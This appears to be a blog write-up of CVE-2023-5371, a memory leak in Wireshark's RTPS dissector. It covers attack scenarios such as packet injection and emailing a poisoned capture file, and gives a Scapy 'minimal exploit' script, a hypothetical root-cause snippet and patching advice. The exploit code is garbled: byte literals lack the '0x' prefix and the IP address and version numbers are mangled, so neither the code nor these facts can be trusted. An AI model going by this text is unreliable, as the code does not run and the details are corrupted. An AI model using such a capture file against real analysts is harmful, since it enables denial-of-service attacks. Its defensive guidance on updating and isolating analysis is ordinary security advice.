On October 2, 2023, Wireshark—one of the most widely used network protocol analyzers—disclosed a flaw (CVE-2023-5371) in its Real-Time Publish-Subscribe (RTPS) dissector. This vulnerability could lead to a memory leak, opening the door to denial-of-service attacks just by injecting packets or sharing a malicious capture file (.pcap).

Impacted Versions:

All releases from 3.6. up to 3.6.16

If you’re using any of these versions, keep reading: this post breaks down what happened, how you can exploit it, and—most importantly—how to protect yourself.

What is the RTPS Dissector?

RTPS (Real-Time Publish-Subscribe) is a protocol often used in IoT, robotics, and distributed data systems—a key part of DDS (Data Distribution Service). The Wireshark RTPS dissector is a piece of code that understands and breaks down RTPS packets so analysts can see what’s inside.

The Vulnerability: Memory Leak on Dissection

At its core, CVE-2023-5371 is a simple but severe memory leak bug. When Wireshark parses a specially crafted RTPS packet, the internal code fails to properly release some allocated memory. If an attacker can send a stream of such packets or trick a user into opening a malicious .pcap file, Wireshark’s memory usage will balloon until the system slows, crashes, or—if defensive controls kick in—kills the process.

Reference

- Wireshark Security Advisory wnpa-sec-2023-14
- CVE Details for CVE-2023-5371
- Bug Tracker / Git Commit

Attack Scenario

Suppose you know someone analyzes RTPS traffic with a vulnerable Wireshark. Here’s what you might do:

1. Packet Injection: If you’re on the same network, you send a stream of specially crafted RTPS packets.
2. Poisoned PCAP: You craft a malicious .pcap capture file and send it as an email attachment, IM, or Another channel. When your target opens it, Wireshark leaks memory.

Minimal Exploit Example

The actual problem occurs while parsing certain malformed RTPS submessages. You don’t need a working RTPS implementation—just enough to trigger the leak.

Here’s a Python snippet (using Scapy) to create and save a malicious RTPS packet to a PCAP file:

from scapy.all import *

# Fake RTPS packet (the vulnerability lies in specific malformed payloads)
malicious_payload = bytes([
    x52, x54, x50, x53,  # "RTPS" marker
    x02, x00, x00, x00,  # Protocol version, vendorId etc.
    # Malformed submessage following (simulate too-large payload)
] + [xFF] * 1024)

# Using UDP port 740, standard for RTPS
pkt = Ether()/IP(dst="192.168..2")/UDP(sport=1234, dport=740)/Raw(load=malicious_payload)

# Write to PCAP
wrpcap("rtps_dos_exploit.pcap", [pkt])

Note:
If you open rtps_dos_exploit.pcap in a vulnerable version of Wireshark, watch your RAM usage grow and, eventually, Wireshark may crash.

Root Cause Analysis

From the Wireshark GitLab commit:

> RTPS: Fix memory leak in dissection of parameter content.

In essence, the RTPS dissector did not deallocate buffers when handling certain parameter values in submessages. A malicious packet triggers repeated allocations without matching frees.

Here’s a pseudo-C snippet showing what broke

// Before patch (hypothetical)
data = wmem_alloc(wmem_packet_scope(), length);
parse_parameter(data, length);
// Missing: wmem_free or proper scoping

// After patch
data = wmem_alloc(wmem_packet_scope(), length);
parse_parameter(data, length);
// Automatic cleanup or ensured free on scope exit

If you rely on Wireshark for RTPS analysis, you may be at risk. Here’s how to stay safe

1. Update Immediately
- Wireshark Download Page

Ensure you’re running 4..9+ (or, if still on 3.6, 3.6.17+).

2. Don’t Open Random PCAPs

Especially true if you routinely handle files provided by outside parties!

3. Isolate Analysis

Analyze suspicious captures in a test VM with limited memory and no sensitive data.

4. Consider Disabling the RTPS Dissector
- You can temporarily disable protocol dissectors in Wireshark (via “Analyze” > “Enabled Protocols”) if you don’t need RTPS.

Conclusion

CVE-2023-5371 is a classic memory leak bug with modern implications. Because Wireshark is so trusted and widely used, vulnerabilities like this one remind us that even analysis tools can be attacked.

If you haven’t updated recently, do it now. And as always, treat data from others—especially captures—with caution.

Further Reading:
- Wireshark Security Advisories
- Commit Fix for RTPS memory leak
- Upstream CVE Record

Timeline

Published on: 10/04/2023 17:15:10 UTC
Last modified on: 10/10/2023 13:13:05 UTC